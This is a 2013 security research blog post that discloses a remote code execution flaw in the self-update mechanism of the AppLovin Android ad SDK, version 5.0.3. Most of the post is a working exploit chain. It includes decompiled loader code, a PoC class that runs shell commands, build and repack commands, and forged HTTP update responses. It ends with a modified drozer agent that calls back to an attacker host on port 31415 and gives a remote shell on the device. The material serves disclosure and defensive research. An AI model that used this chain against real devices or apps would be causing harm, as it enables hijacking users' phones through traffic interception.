AppLovin Ad Library SDK: Remote Command Execution via Update Mechanism

on 20 November, 2013

 20 November, 2013

Lately we have been analysing mobile advertising networks and in particular the Software Development Kit (SDK) that the networks make available to application developers for the purpose of monetising their applications.

During this research we have found that a lot of applications expose mobile device users to the very real threat of compromise. We have found a number of exploitable (cross platform) vulnerabilities and expect to find more as research continues.

See WebView AddJavaScriptInterface Remote Code Execution for details of an issue recently disclosed as output from this research.

This blog post will detail one of the more serious of the issues which effects all current Android platforms and devices running Android applications that embed particular versions of the AppLovin ad network library. The issue allows an attacker to execute arbitrary code on those Android devices.

The vulnerability was originally discovered by FireEye and made public on 4/10/2013. In their original blog post the vulnerable ad network library was not named. During the course of MWR’s research, the AppLovin ad library was analysed and a vulnerability matching the ‘behaviours’ discussed in FireEye’s publication found.

The ad network library performs runtime class loading from within the Davlik VM to dynamically execute code as part of its self updating mechanism. The update process and this behaviour can be abused by an attacker to execute arbitrary code on an Android device.

MWR contacted FireEye and presented them with our analysis and FireEye confirmed that ‘vulna’, the “codename” given to the ad network analysed by FireEye, was indeed the AppLovin ad library.

The ad library is embedded in many applications. According to the stats provided by AppBrain. There are currently (October 25th 2013) 875,965 Android apps in the Google Play Store and the library is present in 6,832 applications (0.78% of all Android apps). The top apps that use the AppLovin ad library have been downloaded and installed 112,050,000 times.

The version of the ad library that was found to have the vulnerability present, was version 5.0.3. The latest version does not have the vulnerability. The problem is that application developers do not update their application and publish new versions just because a new version of an ad network is available. The updates do not list security vulnerabilities and so a developer would not be aware that a potential issue exists. There are therefore many applications running the old and vulnerable version of the ad network on users devices.

The library makes a periodic connection over the clear text HTTP channel to the host d.applovin.com. The request is shown below:

GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V)
Host: d.applovin.com
Connection: Keep-Alive
Accept-Encoding: gzip

The server will respond, if an update is available with a JAR file containing the updated SDK and write the provided JAR file to the application directory in a folder named ‘app_al_sdk’:

/data/data/<vulnerable application>/app_al_sdk/<SDK version>.jar

The next time the application is started, the AppLovin ad library will check for the presence of an updated JAR file in the location, and if found, extract the embedded compiled DEX file from the JAR and place it in the folder /data/data/<vulnerable application>/al_outdex. The class com.applovin.impl.bootstrap.SdkBoostrapTasksImpl will be dynamically loaded from the classes.dex file and the method startUpdateDownload called.

To discover this issue, the ad library communications were monitored in a proxy. The application was also decompiled using the JEB Android decompiler. The JD-GUI Java decompiler failed to decompile obfuscated code of interest, but can still be very useful in reversing.

When an application is started that contains the AppLovin ad network, a ‘boot’ process is started referred to in the source as the ‘bootstrap’ process and also the probable typo version ‘boostrap’.

The source for the class UpdateSDK (the real class name was not decompiled and has been renamed for clarity) within the package com.applovin.impl.bootstrap is responsible for crafting the update request and processing the response and is presented below:

package com.applovin.impl.bootstrap;
..
..
class UpdateSDK extends Thread {
private final Context b;

public UpdateSDK(SdkBoostrapTasksImpl arg2, Context arg3) {
this.a = arg2;
super();
this.b = arg3;
this.setName("AppLovinUpdateThread");
}

public void run() {
SharedPreferences$Editor v0_3;
String SdkUpdateinterval;
int ResponseCode;
StringBuffer uri;
SharedPreferences BootstrapSettings = this.b.getSharedPreferences("applovin.sdk.boostrap", 0);
String CheckSum = BootstrapSettings.getString("version", "");
if(CheckSum == null || CheckSum.length() < 1) {
CheckSum = "5.0.3";
}

InputStream ResponseStream = null;
try {
SdkBoostrapTasksImpl.a(this.a, "Checking for an update for the SDK interface: 5.0.0, implementation: "
+ CheckSum + "...");
uri = new StringBuffer(GetUpdateUri.a(this.b));
uri.append("?").append("interface").append("=").append("5.0.0"); // ?interface=5.0.0
uri.append("&").append("implementation").append("=").append(CheckSum); // ?interface=5.0.0&implementation=5.0.3
URLConnection RequestObject = new URL(uri.toString()).openConnection();
((HttpURLConnection)RequestObject).setRequestMethod("GET");
((HttpURLConnection)RequestObject).setConnectTimeout(20000);
((HttpURLConnection)RequestObject).setReadTimeout(20000);
((HttpURLConnection)RequestObject).setDefaultUseCaches(false);
((HttpURLConnection)RequestObject).setAllowUserInteraction(false);
((HttpURLConnection)RequestObject).setUseCaches(false);
((HttpURLConnection)RequestObject).setInstanceFollowRedirects(true);
((HttpURLConnection)RequestObject).setDoInput(true);
ResponseCode = ((HttpURLConnection)RequestObject).getResponseCode();
String SDKFileName = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation"); // filename?
String SdkImpCheckSum = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Implementation-Checksum");
SdkUpdateinterval = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Sdk-Update-Interval");
String AppLovinEventID = ((HttpURLConnection)RequestObject).getHeaderField("AppLovin-Event-ID");
SdkBoostrapTasksImpl.a(this.a, "Auto-update info: {code: " + ResponseCode + ", " + "eventId: "
+ AppLovinEventID + ", " + "fileName: " + SDKFileName + ", " + "checksum: " + SdkImpCheckSum
+ ", " + "interval: " + SdkUpdateinterval + "}");
if(ResponseCode == 200) {
if(SDKFileName != null && SDKFileName.length() > 0) {
File SdkUpdateFile = new File(this.b.getDir("al_sdk", 0), SDKFileName);
ResponseStream = ((HttpURLConnection)RequestObject).getInputStream();
CheckSum = SdkBoostrapTasksImpl.a(ResponseStream, SdkUpdateFile);
if(CheckSum != null && (CheckSum.equals(SdkImpCheckSum))) {
SharedPreferences$Editor v3_2 = BootstrapSettings.edit();
v3_2.putString("version", SDKFileName);
v3_2.putString("interface", "5.0.0");
v3_2.putString("ServerEventId", AppLovinEventID);
v3_2.putString("ServerChecksum", CheckSum);
v3_2.commit();
SdkBoostrapTasksImpl.a(this.a, "New update processed: " + SDKFileName);
goto label_130;
}

SdkBoostrapTasksImpl.a(this.a, "SDK update checksum does not match. Expected " +
SdkImpCheckSum + ", but got " + CheckSum);
goto label_130;
}

SdkBoostrapTasksImpl.a(this.a, "Unable to receive SDK update: " + uri + " has not returend a file name");
}

The code above reads a value (version) from the configuration file applovin.sdk.boostrap as a checksum and crafts and sends the following request:

GET /sdk/android?interface=5.0.0&implementation=5.0.3 HTTP/1.1
User-Agent: Dalvik/1.6.0 (Linux; U; Android 4.3; sdk Build/JWR66V)
Host: d.applovin.com
Connection: Keep-Alive
Accept-Encoding: gzip

The code then processes the response received:

HTTP/1.1 200
Server: nginx
Date: Mon, 21 Oct 2013 19:31:20 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate
AppLovin-Sdk-Update-Interval: 10
AppLovin-Sdk-Next-Update-Time: 10
AppLovin-Sdk-Implementation: 5.0.3.jar
AppLovin-Sdk-Implementation-Checksum: a9e5f7c98ab3f1dc9ecab25f15ef09e25d5bce28
AppLovin-Event-ID: 123456
Content-Length: 1660

The headers from a response such as the above are processed and the data stream is written out to a file (value of the AppLovin-Sdk-Implementation header) and a SHA1 hash generated and compared to the checksum extracted from the AppLovin-Sdk-Implementation-Checksum header.

Other values such as the AppLovin-Sdk-Update-Interval and AppLovin-Sdk-Next-Update-Time headers are written to a configuration file controlling the next time the application will attempt an update.

The next time the application is started and the bootstrap process initiated, the flow is different. This time the class SdkBootstrap within the package com.applovin.sdk.bootstrap will retrieve the values from the configuration file and find that the values do not match and not pass control to the update process. Instead the contents of the app_al_sdk directory will be checked for the presence of a JAR file matching the returned value of the version string from the configuration file. If found the file will be unpacked and the classess.dex file contained within, extracted to the app_al_outdex folder.

package com.applovin.sdk.bootstrap;
..
..
public class SdkBootstrap {
..
..
private void BootstrapSdkClassLoaderInit(Context AppContext) {
this.VerboseLogging = AppLovinSdkUtils.isVerboseLoggingEnabled(AppContext);
SharedPreferences bootstrapPref = AppContext.getSharedPreferences("applovin.sdk.boostrap", 0
);
String versionVal = bootstrapPref.getString("version", "");
String interfaceVal = bootstrapPref.getString("interface", "");
if(versionVal.length() <= 0 || !"5.0.0".equals(interfaceVal)) {
this.disable();
}
else {
File FileNameParam1 = new File(AppContext.getDir("al_sdk", 0), versionVal);
if((FileNameParam1.exists()) && FileNameParam1.length() > 0) {
this.ThisClassLoader = new SdkClassLoader(FileNameParam1, AppContext.getDir("al_outdex"
, 0), SdkBootstrap.class.getClassLoader());
goto checkForUpdates;
}

this.Log_("SDK implementation file " + versionVal + " has no content, using default implementation"
);
this.disable();
}
..
..

A call is then made to the method SdkClassLoader within the class com.applovin.sdk.bootstrap.SdkClassLoader:

package com.applovin.sdk.bootstrap;
..
..
public class SdkClassLoader extends DexClassLoader {
public SdkClassLoader(File FileNameParam, File DirectoryNameParam, ClassLoader ClassLoaderObject
) {
super(FileNameParam.getAbsolutePath(), DirectoryNameParam.getAbsolutePath(), null, ClassLoaderObject
);
}
..
..

The class loader object referencing the classes.dex file is passed as a parameter to the loadImplementation method from within the checkForUpdates method:

package com.applovin.sdk.bootstrap;
..
..
public class SdkBootstrap {
..
..
public void checkForUpdates()
{
if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
{
SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
if (localSdkBoostrapTasks != null)
localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
}
}

The loadImplementation method is presented below:

package com.applovin.impl.bootstrap;
..
..
public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
..
..
try
{
String str1 = paramClass.getSimpleName();
String str2 = paramClass.getPackage().getName();
String str3 = str2.substring(1 + str2.lastIndexOf('.'));
String str4 = "com.applovin.impl." + str3 + "." + str1 + "Impl";
a("Loading " + str4 + "...");
Object localObject = paramClass.cast(this.e.loadClass(str4).newInstance());
return localObject;
}

The method loads the class com.applovin.impl.bootstrap.SdkBoostrapTasksImpl from the provided classes.dex file and returns it as an object back to the checkForUpdates method, which in turn makes a call to the startUpdateDownload method within the returned class object.

public void checkForUpdates()
{
if (AppLovinSdkUtils.isAutoUpdateEnabled(this.d))
{
SdkBoostrapTasks localSdkBoostrapTasks = (SdkBoostrapTasks)loadImplementation(SdkBoostrapTasks.class);
if (localSdkBoostrapTasks != null)
localSdkBoostrapTasks.startUpdateDownload(this.d.getApplicationContext());
}
}

The original unmodified startUpdateDownload method within the class SdkBoostrapTasksImpl is presented below:

package com.applovin.impl.bootstrap;
..
..
public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {
..
..
public void startUpdateDownload(Context paramContext)
{
this.a = AppLovinSdkUtils.isVerboseLoggingEnabled(paramContext);
SharedPreferences localSharedPreferences = paramContext.getSharedPreferences("applovin.sdk.boostrap", 0);
long l1 = System.currentTimeMillis();
long l2 = localSharedPreferences.getLong("NextAutoupdateTime", 0L);
if ((l2 == 0L) || (l1 > l2))
new b(this, paramContext).start();
}

It is possible for an attacker to craft their own malicious SDK update, reimplementing the method startUpdateDownload within the class com.applovin.impl.bootstrap.SdkBoostrapTasksImpl. To achieve this an application that contains the vulnerable AppLovin ad library needs to be unpacked:

$ unzip VulnerableApp.apk

The resulting classess.dex file should then be repacked into a JAR using the dex2jar utility:

$ dex2jar.sh classes.dex

An Android project should then be created in Eclipse and the project properties set to be “Is Library”. The classes_dex2jar.jar that was previously generated as output from the dex2jar utility should then be copied to the newly created projects /lib folder.

$ cp classes-dex2jar.jar ~/eclipse-workspace/MWRAppLovin/libs/

Then the malicious com.applovin.impl.bootstrap package and SdkBoostrapTasksImpl class needs to be created. The example Proof of Concept (PoC) is presented below:

package com.applovin.impl.bootstrap;

import java.io.BufferedWriter;
import java.io.IOException;
import java.io.OutputStreamWriter;

import android.content.Context;
import android.os.Environment;
import android.util.Log;

import com.applovin.sdk.bootstrap.SdkBoostrapTasks;

public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {

public SdkBoostrapTasksImpl() {
super();
}

@Override
public void startUpdateDownload(Context AppContextParam) {

AppContextParam.getApplicationContext();

Log.i("[mwr]", "startUpdateDownload — running our injected code");

String path = Environment.getExternalStorageDirectory().getPath();

String[] commands = {
"echo -e \"--[mwr]--\" > " + path + "/mwr.txt\n",
"id >> " + path + "/mwr.txt\n"
};

execCommands(commands);

}

public Boolean execCommands(String... command) {

Runtime rtime = Runtime.getRuntime();
Process child = null;

try {
child = rtime.exec("/system/bin/sh");
} catch (IOException e1) {
}

BufferedWriter outCommand = new BufferedWriter(new OutputStreamWriter(child.getOutputStream()));

try {
for(int i = 0; i < command.length; i++) {
Log.i("[mwr]", "execCommands — executing " + command[i]);
outCommand.write(command[i]);
outCommand.flush();
}
} catch (IOException e) {
}
return true;
}
}

The above PoC will write the current user id out to a text file on the SDCard to a file named mwr.txt.

Once the library has been compiled to a JAR, it is necessary to repack it with a compiled DEX file using the dx utility.

$ dx --dex --output=mwr_applovin_sdk.jar mwrapplovin.jar

An attacker then needs to forge a response to an update request and send the malicious SDK update. A checksum (sha1 hash) of the malicious library needs to be generated:

$ shasum mwr_applovin_sdk.jar
860b438285557693a30a89874df5c26a6fadfb92

A forged response can then be crafted as illustrated below:

HTTP/1.1 200
Server: nginx
Date: Mon, 21 Oct 2013 19:31:20 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate
AppLovin-Sdk-Update-Interval: 1000
AppLovin-Sdk-Next-Update-Time: 1000
AppLovin-Sdk-Implementation: mwr_applovin_sdk.jar
AppLovin-Sdk-Implementation-Checksum: 860b438285557693a30a89874df5c26a6fadfb92
AppLovin-Event-ID: 123456
Content-Length: 1660

<BINARY DATA>

The ad library logs verbose information that can be observed using logcat, the relevant event notifications below show that the malicious JAR file has been downloaded:

I/AppLovinSdk( 742): [Boostrap] Auto-update info: {code: 200, eventId: 123456, fileName: mwr_applovin_sdk.jar, checksum: 860b438285557693a30a89874df5c26a6fadfb92, interval: 10}
I/AppLovinSdk( 742): [Boostrap] New update processed: mwr_applovin_sdk.jar
I/AppLovinSdk( 742): [Boostrap] Next update is at: "1382624665463"

The log extract below shows that the next time the application is started, the DEX file is extracted from the JAR file and the malicious code executed:

/dalvikvm( 3280): DexOpt: --- BEGIN 'mwr_applovin_sdk.jar' (bootstrap=0) ---
D/dalvikvm( 2949): GC_FOR_ALLOC freed 0K, 3% free 56131K/57696K, paused 156ms, total 156ms
D/dalvikvm( 3398): DexOpt: load 41ms, verify+opt 15ms, 80116 bytes
D/dalvikvm( 3280): DexOpt: --- END 'mwr_applovin_sdk.jar' (success) ---
D/dalvikvm( 3280): DEX prep '/data/data/<vulnerable app>/app_al_sdk/mwr_applovin_sdk.jar': unzip in 0ms, rewrite 286ms
I/AppLovinSdk( 3280): [Boostrap] Loading com.applovin.impl.bootstrap.SdkBoostrapTasksImpl...
D/AppLovinSdk( 3280): Loading SDK implementation class: com.applovin.impl.bootstrap.SdkBoostrapTasksImpl
I/[mwr] ( 3280): startUpdateDownload — running our injected code
I/[mwr] ( 3280): execCommands — executing echo -e "--[mwr]--" >> /mnt/sdcard/mwr.txt
I/[mwr] ( 3280): execCommands — executing id >> /mnt/sdcard/mwr.txt

The adb commands below show that the execution was successful:

$ adb shell
root@generic:/ # cat /mnt/sdcard/mwr.txt

--[mwr]--
uid=10048(u0_a48) gid=10048(u0_a48) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet),50048(all_a48)

The above is an adequate PoC. However, we can go even further and use this vector to drop in a ‘drozer’ payload for a much more feature rich exploitation experience; drozer is an Android security assessment framework (think Metasploit for Android).

First we need to check out some of the source code for the libraries that make up drozer from GitHub.

$ cd ~/eclipse-workspace/
$ git clone https://github.com/mwrlabs/jar-agent.git
$ git clone https://github.com/mwrlabs/jdiesel.git

After building the jdiesel project, copy the the generated JAR file into the libs folder of the jar-agent project:

$ cp ~/eclipse-workspace/jdiesel/bin/jdiesel.jar ~/eclipse-workspace/jar-agent/libs/

Then modify the jar-agent Agent class in the package com.mwr.dz. Just replace the whole class with the following source and compile:

package com.mwr.dz;

import java.math.BigInteger;
import java.security.SecureRandom;

import android.content.Context;
import android.util.Log;

import com.mwr.jdiesel.api.DeviceInfo;
import com.mwr.jdiesel.api.connectors.Endpoint;
import com.mwr.jdiesel.api.links.Client;

public class Agent {

private DeviceInfo device_info;
private Endpoint endpoint;
private Client client;
private String uid;
public static Agent singleton;
public static Context context;
static String host = "192.168.0.154";
static int port = 31415;

public Agent(String host, int port, Context context) {

Agent.singleton = this;

Agent.context = context.getApplicationContext();

this.device_info = new DeviceInfo(this.getUID(),
android.os.Build.MANUFACTURER,
"unknown",
"unknown");

this.endpoint = new Endpoint(
1,
"drozer Server",
host,
port,
false,
"",
"",
"");
}

static Agent getInstance(){
if (singleton == null){
singleton = new Agent(host, port, null);
}
return singleton;
}

public Context getMercuryContext() {
return Agent.context;
}

public static Context getContext() {
return Agent.context;
}

public String getUID() {
// we cannot request the ANDROID_ID, because we have no context, so
// we must generate one at random
if(this.uid == null)
this.uid = new BigInteger(64, new SecureRandom()).toString(32);

return this.uid;
}

public void run() {
Log.i("[MWR","running Agent....");
this.client = new Client(this.endpoint, this.device_info);
this.client.start();
Log.i("[MWR","ran Agent....");
}

}

Make sure that the static host and port values are set appropriately (realistically an attacker would set a valid DNS entry):

static String host = "192.168.0.154";
static int port = 31415;

Next modify the class SdkBoostrapTasksImpl within the package com.applovin.impl.bootstrap replacing it with the following source code:

package com.applovin.impl.bootstrap;

import java.io.File;
import java.lang.reflect.Method;
import android.annotation.SuppressLint;
import android.content.Context;
import android.util.Log;
import com.applovin.sdk.bootstrap.SdkBoostrapTasks;
import dalvik.system.DexClassLoader;

public class SdkBoostrapTasksImpl implements SdkBoostrapTasks {

public SdkBoostrapTasksImpl() {
super();
}

@SuppressLint("NewApi")
@Override
public void startUpdateDownload(Context AppContextParam) {

Context appcontext = AppContextParam.getApplicationContext();

String host = "192.168.0.154";

int port = 31415;

String dexFiles = "/data/data/<vulnerable app>/app_al_sdk/drozer.jar";

String completeClassName = "com.mwr.dz.Agent";

String methodToInvoke = "run";

final File optimizedDexOutputPath = appcontext.getDir("outdex", 0);

appcontext.getClassLoader();

DexClassLoader classLoader = new DexClassLoader(dexFiles, optimizedDexOutputPath.getAbsolutePath(), null, ClassLoader.getSystemClassLoader());

try {
Class<?> myClass = classLoader.loadClass(completeClassName);
Object obj = (Object)myClass.getConstructor(String.class, int.class, Context.class).newInstance(host, port, appcontext);
Method m = myClass.getMethod(methodToInvoke);
m.invoke(obj);
} catch (Exception e) {
e.printStackTrace();
}

}

}

Once the jdiesel, jar-agent and AppLovin projects have been compiled, the libraries need to be combined into a single JAR.

$ mkdir vulna
$ cp ~/eclipse-workspace/MWRAppLovin/bin/mwrapplovin.jar vulna/
$ cp ~/eclipse-workspace/jar-agent/bin/jar-agent.jar vulna/
$ cp ~/eclipse-workspace/jdiesel/bin/jdiesel.jar vulna/
$ cp ~/eclipse-workspace/jdiesel/libs/protobuf-java-2.4.1.jar vulna/
$ cd vulna
$ unzip -o ../mwrapplovin.jar
$ unzip -o ../jar-agent.jar
$ unzip -o ../jdiesel.jar
$ unzip -o ../protobuf-java-2.4.1.jar
$ zip -r ../tmp.jar *
$ cd ../
$ dx --dex --output=drozer.jar tmp.jar

All that is left to do now is deliver the drozer.jar file as a response to an update request. Generate the ‘AppLovin-Sdk-Implementation-Checksum’:

$ shasum drozer.jar
9b0cedebddea4cb568e0fabd48f4c44dd3e6adae drozer.jar

Construct the response:

HTTP/1.1 200
Server: nginx
Date: Mon, 21 Oct 2013 19:31:20 GMT
Content-Type: text/html
Connection: keep-alive
Vary: Accept-Encoding
Cache-Control: no-store, no-cache, must-revalidate
AppLovin-Sdk-Update-Interval: 10
AppLovin-Sdk-Next-Update-Time: 10
AppLovin-Sdk-Implementation: drozer.jar
AppLovin-Sdk-Implementation-Checksum: 9b0cedebddea4cb568e0fabd48f4c44dd3e6adae
AppLovin-Event-ID: 123456
Content-Length: 281063

<contents of drozer.jar>

After injecting the payload we can see the following in the logcat output:

I/AppLovinSdk( 742): [Boostrap] Auto-update info: {code: 200, eventId: 123456, fileName: drozer.jar, checksum: 9b0cedebddea4cb568e0fabd48f4c44dd3e6adae, interval: 10}
I/AppLovinSdk( 742): [Boostrap] New update processed: drozer.jar

Start a drozer server and wait for the next time the application is started:

$ ./drozer server start
Starting drozer Server, listening on 0.0.0.0:31415

The next time the application is started, the following output can be observed in logcat:

D/dalvikvm( 1624): DexOpt: --- BEGIN 'drozer.jar' (bootstrap=0) ---
D/dalvikvm( 1638): DexOpt: load 223ms, verify+opt 1310ms, 737300 bytes
D/dalvikvm( 1624): DexOpt: --- END 'drozer.jar' (success) ---
D/dalvikvm( 1624): DEX prep '/data/data/<vulnerable app>/app_al_sdk/drozer.jar': unzip in 174ms, rewrite 2086ms
I/AppLovinSdk( 1624): [Boostrap] Loading com.applovin.impl.bootstrap.SdkBoostrapTasksImpl...
D/AppLovinSdk( 1624): Loading SDK implementation class: com.applovin.impl.bootstrap.SdkBoostrapTasksImpl
D/dalvikvm( 1624): DexOpt: --- BEGIN 'drozer.jar' (bootstrap=0) ---
..
..
D/dalvikvm( 1639): DexOpt: load 536ms, verify+opt 1251ms, 737300 bytes
D/dalvikvm( 1624): DexOpt: --- END 'drozer.jar' (success) ---
D/dalvikvm( 1624): DEX prep '/data/data/<vulnerable app>/app_al_sdk/drozer.jar': unzip in 226ms, rewrite 2324ms
..
..
I/link ( 1686): Starting...
I/link ( 1686): Attempting connection to 192.168.0.154:31415...
I/link ( 1686): Socket connected.
I/link ( 1686): Attempting to start drozer thread...
I/link ( 1686): Sending BIND_DEVICE to drozer server...

In the drozer server output you can see an incoming connection:

$ ./drozer server start
Starting drozer Server, listening on 0.0.0.0:31415
2013-10-31 08:47:19,286 - drozer.server.protocols.drozerp.droidhg - INFO - accepted connection from 5blrpnc2riohv

Using the drozer console, connect to the agent running on the device:

$ drozer console connect 5blrpnc2riohv
.. ..:.
..o.. .r..
..a.. . ....... . ..nd
ro..idsnemesisand..pr
.otectorandroidsneme.
.,sisandprotectorandroids+.
..nemesisandprotectorandroidsn:.
.emesisandprotectorandroidsnemes..
..isandp,..,rotectorandro,..,idsnem.
.isisandp..rotectorandroid..snemisis.
,andprotectorandroidsnemisisandprotec.
.torandroidsnemesisandprotectorandroid.
.snemisisandprotectorandroidsnemesisan:
.dprotectorandroidsnemesisandprotector.

drozer Console (v2.3.0)
dz> permissions
Has ApplicationContext: YES
Available Permissions:
dz> run shell.exec id
uid=10048(u0_a48) gid=10048(u0_a48) groups=1006(camera),1015(sdcard_rw),1028(sdcard_r),3003(inet),50048(all_a48)